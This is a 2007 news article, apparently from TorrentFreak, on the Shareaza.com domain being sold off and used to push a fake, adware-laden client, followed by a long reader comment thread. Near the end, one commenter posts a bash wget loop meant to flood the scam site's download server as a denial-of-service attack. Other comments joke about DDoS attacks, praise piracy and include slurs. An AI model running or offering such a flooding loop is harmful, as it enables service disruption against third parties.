Shareaza.com Hijacked and Turned Into a Scam Site
Written by enigmax on December 24, 2007Shareaza.com, the home of the hugely popular Shareaza multi-network sharing application, has been hijacked by scammers. Unsuspected visitors to the site will be completely unaware that they will be tricked into downloading something that isn’t Shareaza at all, but subscription-based malware infected software instead.
The announcement on the SourceForge page of the Shareaza client was ominous:
“As of December 20th, “Shareaza.com” is mirroring “Shareazaweb.com” – A known scam site. While we are working to resolve the matter, any help to contain this would be appreciated.”
The site looks convincing enough, labelled as it is “The Official Home of Shareaza” with the new operators of the site having seen fit to steal some of the original Shareaza artwork (originally created by ‘RocketX and Kid’) to complete the look. So who has taken over the domain?
According to Skinvista, a developer from the ‘real’ Shareaza, the situation is as follows:
“At this time the Shareaza.com destination is now controlled by iMesh/MusicLab LLC, an unauthorized Madison Avenue (New York) based company, with servers in Israel. MusicLab LLC previously acquired iMesh.com and Bearshare/Bearflix.com following lawsuits. It now appears the known scamsite Shareazaweb.com was a placeholder for the planned takeover of Shareaza, relating to another ongoing lawsuit.
It is urgent that people understand the software on these iMesh/MusicLab sites is suspicious, misrepresented, and illegal -breaking GPL and DMCA among other laws.”
As if this strange case needed any more twists in the plot, consider this. On October 26th 2007, the main Shareaza site went down due to unknown “personal matters”.
TorrentFreak asked ‘Wildcard’ a ‘real’ Shareaza developer what happened to the site. He explained: “That’s one of the mysteries. The main hosting server went offline, it had the Shareaza site, wiki and forums on it. The only information that made it this far, was that it was down due to personal problems with the owner of the server machines. what those personal problems were, medical or legal, we don’t know.”
Luckily the Sourceforge site was restored from an earlier backup.
However, the hijacked Shareaza.com domain now points to a server where it is hosted along with some other questionable sites, including bandoo.com, bearflix.com, bearshare.com, daemonsearch.com, imesh.com, imesh.net and musiclab-llc.com.
Apparently, there are lawyers involved now but the loose-knit Shareaza team are advising that it may be prudent to move forward on the basis that the domain won’t be recovered. A source close to this case has told TorrentFreak that Jonathan Nilson, the owner of the Shareaza.com domain has been contacted and he has confirmed that he has sold the domain to the scammers. It looks like the domain is lost forever, a big impact following the loss of the main site in October.
‘Wildcard’ explained that the software on offer from the hijacked site although labeled “ShareazaV4.exe”, is not Shareaza at all but likely a clone of the new malware infested iMesh/Bearshare client and should not be downloaded under any circumstances. Once installed, the software wants to install a search bar and make contact with a central server. Unlike Shareaza – which is abslutely free and has a reputation for being non-profit and shunning involvement with money – the hijackers are touting a subscription based product.
Indeed, the operators of iMesh even tried to trick people into thinking that the reputable GRC site endorsed the iMesh client – an assertion which is completely untrue.
Anyone wishing to find the real Shareaza client should head over to the project’s SourceForge page.
Developing story
Update: A contact of Jonathan Nilson is reporting that Nilson can neither confirm nor deny that he sold the domain to the scammers.
Previously: Most Popular DVDrips on BitTorrent, Christmas Edition
Next: Man Downloads TV Shows and Gets a $54,000 Cell Phone Bill
67 Responses
Site is garbage anyways
What site? Anyway, shareazasecurity is the home of the forums and security filters. It needs to be shareaza.sourceforge.net
No matter whether you hate or adore Shareaza, those iMesh scumbags need to be kicked in the scrotum!
real links:
http://shareaza.sourceforge.com/ – The Official Site
http://wwww.shareazasecurity.be/forums – The Official Forums
http://sourceforge.net/projects/shareaza/ – Shareaza Project page
http://www.shareazasecurity.be/ – Security Filters for Shareaza
http://shareaza.sourceforge.net/help/?wiki – Shareaza wiki
Shareaza was the software i used before i discovered torrenting really. Shame, although there probably is a lot of money to be made in selling the domain to scammers, specially if the sourceforge page is still up and running.
Regarding the, personal matters. I assume the server crashed, and the server admin wasnt avail to restart it. Maybe a HD crash, though that doesnt explain why there has BEEN no explanation.
x
/The site looks convincing enough, labelled as it is “The Official Home of Shareaza” with the new operators of the site having seen fit to steal some of the original Shareaza artwork (originally created by ‘RocketX and Kid’) to complete the look./
“Stealing?” Maybe they are just using BT to share the images?
Good, only dumbasses would use shareaza anyway.
“Q: Does iMesh contain adware and spyware?
Answer: iMesh doesn’t include any spyware or adware of any kind. ”
No – of COURSE not…
LMFAO! =]
Merry Christmas to pirates one and all :D
ROFL. What in the hell is shareza, looks like total crap.
agree shareza is not worth mentioning
Idiots and the internet. a bad combination.
shareaza was always just a bad Kazaa clone anyway……..I installed it out of curiosity many moons ago…..it was on my HDD 7 minutes max.
µtorrent + SCT + FTN + BCG + TL = All the content you will ever need!
/.,m
[quote comment="247183"]shareaza was always just a bad Kazaa clone anyway……..I installed it out of curiosity many moons ago…..it was on my HDD 7 minutes max.
µtorrent + SCT + FTN + BCG + TL = All the content you will ever need![/quote]
you idiot it had nothing to do with the fast track network it was guntella gnutella 2 and edonkey. plus it was a million times better then bitorrent dident exist.
Shareaza really rocks.
I’m not talking it’s an excellent G1/ed2K/BT program, but I love G2!
Even if it’s smaller, I can find twice as much audio and video on it :p
I don’t even like BT, because I can get movies from G2. Only for programs I would use BT.
Anyway, Shareaza isn’t a KaZaa clone, far from. It’s a really good program.
Yeah, in the older days it was a buggy, lagging program, but you should check 2.3 out now ;)
And why wouldn’t this not be worth mentioning? Many people will and are scammed by those f*ck*rs, so this is really good to let them known!
[quote comment="247025"]/The site looks convincing enough, labelled as it is “The Official Home of Shareaza” with the new operators of the site having seen fit to steal some of the original Shareaza artwork (originally created by ‘RocketX and Kid’) to complete the look./
“Stealing?” Maybe they are just using BT to share the images?[/quote]
Wow, you almost made a smart comment against pro-torrent advocates. Almost. But what you obviously don’t realize is that we don’t use the material we download to make money, push scam programs, trick people into getting infected with viruses, or claim work as our own. Dumbass.
The torrent community is filled with some of the nicest and more helpful people you will ever meet. Probably %1 use their knowledge to trick or infect people. We had the best community at Demonoid.com until they killed it ><. So don’t make assumptions that because what we do is “illegal” that it’s even wrong or says anything about our character.
regarding the update: “…Nilson can neither confirm nor deny that he sold the domain to the scammers.”
why, does he have amnesia?
Not only the torrent community, the whole pirate community!
Are we bad people? No. I’m a member of the red cross, I run BOINC, I help people out with their computers.
We are actually good people standing up for their rights to own the internet we pay for!
Anyway, those images are from free software. You could use it as your banner, you could paste it on your walls, you could tattoo your butt with it. But making money out if it is cowardly and weak.
[quote comment="247242"]why, does he have amnesia?[/quote]
Nah, he just doesn’t want to respond. He has said once to a(n now ex-) friend of him that he sold it, then he left the scene. He probably changed phone numbers and mailaddress, since you can’t contact him with the information trough WHOIS.
I suggest we roll out our DDOS-cannons and launch an all-front attack! Arr.
[quote comment="247183"]shareaza was always just a bad Kazaa clone anyway……..I installed it out of curiosity many moons ago…..it was on my HDD 7 minutes max.
µtorrent + SCT + FTN + BCG + TL = All the content you will ever need![/quote]
sure brag about ur private sites but the people that aint so fortunate to get these invites they have to look for other alternatives and anny way how do you do for old songs?
[quote comment="247025"]/The site looks convincing enough, labelled as it is “The Official Home of Shareaza” with the new operators of the site having seen fit to steal some of the original Shareaza artwork (originally created by ‘RocketX and Kid’) to complete the look./
“Stealing?” Maybe they are just using BT to share the images?[/quote]
Wyf. You obviously dont know anything about Bittorrent.
[quote comment="247271"][quote comment="247183"]and anny way how do you do for old songs?[/quote]
http://jimmyr.com has a nice and easy search for finding mp3s on google, which works okay. DirectConnect hubs aren’t too bad either.
I got a question. If ron paul gets elected for president of US in 2008 will he legalize file sharing in US?
He says in his page that he will reduce the control of the goverment of the internet. Read on his page:
http://www.ronpaul2008.com/
BTW merry xmas :)
[quote comment="247370"]I got a question. If ron paul gets elected for president of US in 2008 will he legalize file sharing in US?
He says in his page that he will reduce the control of the goverment of the internet. Read on his page:
http://www.ronpaul2008.com//quote
I think Obama’s going to win judging from how popular he has become. I’m not even living in the US and even I know Obama. Ron Paul needs more media attention if he ever wanted to be elected cause I really JUST heard about him today.
How can the domain be hijacked if the owner knowingly sold it?
I think the title is purposely misleading to gather more interest in a trivial event. Shame on torrentfreak. :(
[quote comment="247412"]How can the domain be hijacked if the owner knowingly sold it?
I think the title is purposely misleading to gather more interest in a trivial event. Shame on torrentfreak. :([/quote]
If that’s the case, then yes, shame on him.
I’d like to know what Shareaza’s creator Mike Stokes has to say about this!
Does Mike Stokes not still own Shareaza?
Sounds like he sold it after it was hijacked. They mentioned losing the site in October and as of Dec 20th its now redirecting.
dunno though…
[quote comment="247216"][quote comment="247183"]shareaza was always just a bad Kazaa clone anyway……..I installed it out of curiosity many moons ago…..it was on my HDD 7 minutes max.
µtorrent + SCT + FTN + BCG + TL = All the content you will ever need![/quote]
you idiot it had nothing to do with the fast track network it was guntella gnutella 2 and edonkey. plus it was a million times better then bitorrent dident exist.[/quote]
2nd that… there was a world before bittorrent! in case the younger generation of pirates don’t get it
[quote comment="247527"][quote comment="247216"][quote comment="247183"]shareaza was always just a bad Kazaa clone anyway……..I installed it out of curiosity many moons ago…..it was on my HDD 7 minutes max.
µtorrent + SCT + FTN + BCG + TL = All the content you will ever need![/quote]
you idiot it had nothing to do with the fast track network it was guntella gnutella 2 and edonkey. plus it was a million times better then bitorrent dident exist.[/quote]
2nd that… there was a world before bittorrent! in case the younger generation of pirates don’t get it[/quote]
Agreed, i remember using Shareaza & hotline extensively until bittorrent came along
Don’t hate on Shareaza! It’s extremely good – it supports BitTorrent, Gnutella 1 & 2 and eDonkey :D
Though I use uTorrent – I love Shareaza for Australian music (which isn’t often seeded on BT, especially older “classics”)
Different tools for different jobs.
is anyone actually surprised the servers are in Israel? $$$
What this?
[quote comment="247499"]I’d like to know what Shareaza’s creator Mike Stokes has to say about this!
Does Mike Stokes not still own Shareaza?[/quote]
No. He left the team right after he made it open-source. After that, another Mike came, but he left too :p
No more Mike’s left xD
Jonathan had no choice other then to sell to domain. He is being sued by the SPPF. (French RIAA) He contacted the shareaza team and the EFF but received no support. These documents haven’t been made public before but I think they should be. Yes, he sold the domain to scumbags. But I understand *WHY* he did it.
Read this:
http://users.edpnet.be/vtolfreak/2007-09-18_SPPF_Lawsuit.pdf
http://users.edpnet.be/vtolfreak/2007-09-18_SPPF_English.pdf
And now ask yourself what you would do when you are being sued into poverty?
[quote comment="247408"][quote comment="247370"]I got a question. If ron paul gets elected for president of US in 2008 will he legalize file sharing in US?
He says in his page that he will reduce the control of the goverment of the internet. Read on his page:
http://www.ronpaul2008.com//quote
I think Obama’s going to win judging from how popular he has become. I’m not even living in the US and even I know Obama. Ron Paul needs more media attention if he ever wanted to be elected cause I really JUST heard about him today.[/quote]
Ok, but that still doesnt anwer my question…
Would be nice to know what kind of damage the software does and hwo to recover a PC that has had this program installed. Does anyone know?
You could use hitmanpro, at least I use it: http://www.hitmanpro.nl
shareaza is the BEST SINGLE P2P PROG ON THE NET! filesharingplace.be didnt call it “the cadilac of p2p programs” for nothing. all the haters are ether moles who dont want you to use it because its so effective (or they work for some other shitty p2p client), or they are too stupid to configure it properly. yeh, its a step or two above limewire in terms of complexity, but that is perfect for seasoned old heads like myself that like to tune our p2p progs for maximum piracy efficentcy.
i challenge anyone to name a better SINGLE prog p2p solution…. didnt think so.
malwares only run on depreciated operating systems.
[quote comment="247183"]shareaza was always just a bad Kazaa clone anyway……..I installed it out of curiosity many moons ago…..it was on my HDD 7 minutes max.
µtorrent + SCT + FTN + BCG + TL = All the content you will ever need![/quote]
Bad KaZaa clone? That’s just misinformation maybe you should actually look at what your installing. And no I’m not a member of those sites so they DON’T have what I need. Thanks anyways.
To those slagging off Shareaza or who don’t know what it is, ‘Raza has a stack of benefits over torrents (although it is also a BitTorrent client), the biggest one being file retention.
Torrents come and go reasonably quickly and are great for whatever is hot TODAY. Finding something old or rare is often only possible on “archival” networks like G2 or ED2K. This is where P2P networks do a better job than plain P2P protocols (i.e. BitTorrent). Getting file specs is easier on networks. Finding verified links is easier on networks.
BT is a great thing and Shareaza does have its flaws, but both have their own place in the file sharing eco-system and an attack on either of them is an attack on our sharing, open culture and should be condemned by anyone who values their freedom over money.
HeLLo
that site sucked
who cares :_(
[quote comment="247183"]shareaza was always just a bad Kazaa clone anyway……..I installed it out of curiosity many moons ago…..it was on my HDD 7 minutes max.
µtorrent + SCT + FTN + BCG + TL = All the content you will ever need![/quote]
haha way to troll. if you’re stupid enough to think shareaza is a kazaa clone then there’s no way you’re a member of those sites. that’s some of the most obvious, optimistic, dillusional namedropping i’ve ever scene.
bah. shareza isnt that good anyway… but the thing still stinks. i do s empathy the shareza ppl.
to one of your responces utorrent is not a private site you can get through mininova.org an ive used razza an edonkey an winmx an mirc an a few others which i carnt be askd mentionin use what ya like an stop fuckin bitch about them ffs
This site is full of disinformation
I’ve got better things to do
Mininova is not the most popular site
TPB is!
shareaza whateva
everyone gave up on the code at least 4 years ago because it gave SHIT load of problems from hackers following the connections
bad code bad end
[quote comment="252275"]everyone gave up on the code at least 4 years ago[/quote]
4 years is a lot he ;) Code has been established and is many times more stable… Why don’t you give it a try?
Just take a look at the fake sites License Agreement. It’s blatantly horrible. This is the best reason to read EULAs. Here’s just a few (exact) quotes:
“To access the Service, you will need to install or activate from time to time the Shareaza proprietary (isn’t this a cool word?) software application (”Shareaza Software”). You may also be required to install or activate other software made available through the Service and certain third-party software”
“Once you have downloaded a Song via the Subscription Service, you may save that Song to the hard drives of up to 3 of your personal computers and play back at any time and as many times as you want. You may not share downloaded Songs with anyone else. Any security technology that is provided with a Song is an inseparable part of the Song. Please don’t try to separate them. They really like each other.”
“Discordia does not represent or guarantee that the Software will successfully import or support any song files that are not downloaded or purchased using the Shareaza Service.”
“Shareaza also features Shareaza Media Bar (”SMB”), an Internet Explorer Toolbar. Should you choose to install SMB, a toolbar will be added to your Internet Explorer. SMB will help you search Shareaza and the Internet.”
“Smoking overall is bad for you. It gives you bad breath and may kill you sooner than you’d expect.”
I use BOTH Shareaza and Bitorrent progs, i don’t care about what prog is better to dl files, if it works for me and its completely FREE ill use it eternally.
I’ve been involved with warez and computing since the early days of the vic20/commodore64/amiga and fixed telephone line bulletin boards (BBS). I’ve seen many changes in the way warez have been distributed over time through the computing community. There are still many different ways to skin the same cat. Different options still offer different advantages and disadvantages for different people. And this is a great thing! For one, it means we will always have multiple effective options for gaining easy access to warez even if one or more of these options are lost along the way. The “Best” option is always going to be a subjective judgement. My personal choice of software for downloading and distributing warez is Shareaza. As someone else here said, it is by far the most comprehensive all-in-one p2p filesharing solution available to date. It has some sort comings, but its also a product still very actively in development and always improving. The beauty of shareaza is that it provides a single interface to 4 of the most popular p2p networks/protocols (Bittorent/eDonkey/Gnutella1&2) giving you access to the vastest range of file sources through one interface that your going to find anywhere! If its a program you have never used or looked at before its definately worth a look!
Man this really sucks that so many unsuspecting people will be duped into downloading what they think is Shareaza but get infested with freaking crapware!
Those dumping on Shareaza are most likely talking out their ass and have never even tried the program because if they did they would know it is the best P2P application ever made! Yes it has torrent support and yes I would rather use uTorrent for my torrents but for old & rare stuff that you will almost never find via torrent networks you will find thanks to Shareaza and mainly it’s G2 network which rocks!
Instead of shitting on Shareaza why don’t you jackasses direct that attitude towards the fucking scumbags that now run shareaza.com?
THE PIRATE BAY
THE PIRATE BAY
THE PIRATE BAY
THE PIRATE BAY
THE PIRATE BAY
THE PIRATE BAY
THE PIRATE BAY
THE PIRATE BAY
THE PIRATE BAY
THE PIRATE BAY
[quote comment="256212"]Those dumping on Shareaza are most likely talking out their ass and have never even tried the program because if they did they would know it is the best P2P application ever made! Yes it has torrent support and yes I would rather use uTorrent for my torrents but for old & rare stuff that you will almost never find via torrent networks you will find thanks to Shareaza and mainly it’s G2 network which rocks!
Instead of shitting on Shareaza why don’t you jackasses direct that attitude towards the fucking scumbags that now run shareaza.com?[/quote]
^ IAWTP
And yes, Shareaza used to be slow, but it has become much less bloated especially lately.
Shit, I downloaded it! It had advertising in it, so I googled for removal of the ads, and found that it is a scam! I downloaded the free AVG Antispyware, uninstalled the fake Shareaza etc. but there’s still something left – why the hail didn’t I make a system restore???
[quote comment="247106"]Good, only dumbasses would use shareaza anyway.[/quote]
What a knuckle head
Are you stupid? Malware will run on ANY system that isnt secured and updated properly.
Shareaza is, and allways has been, a piece of crap anyway. So who cares, really.
give your head a shake
anyone supporting malware needs to have their bell rung real hard
If one wanted to make a DDoS, he could just run the following line and hope others would do the same… but, please, don’t do it!
x=0; while true; do x=$(($x + 1)); echo Start $x; wget http://download.shareazaweb.com/ShareazaV4.exe –limit-rate 30k -O – 2>&1 >/dev/null | grep HTTP; echo Done; sleep 30; done
Please do not mention DDoS or other actions. These comments are monitored by the enemy, and the are just begging for way reason to strike! We are fighting for FREE, Open-Source developers and software. Time is not on our side.
Please take a look at these links, and thanks!
The Story: Shareaza, iMesh, RIAA, and Recent Events:
http://www.shareazasecurity.be/forum/viewtopic.php?f=46&t=1070
Help Shareaza (TM) fight back!
http://forum.cmsmadesimple.org/index.php?topic=20984.msg102145
Wow! Close shave :p
I was actually downloading Shareaza “V4″ when I came across this article…
Cuz I couldn’t access Shareaza+com and looking as to why…
TorrentFreak saves!
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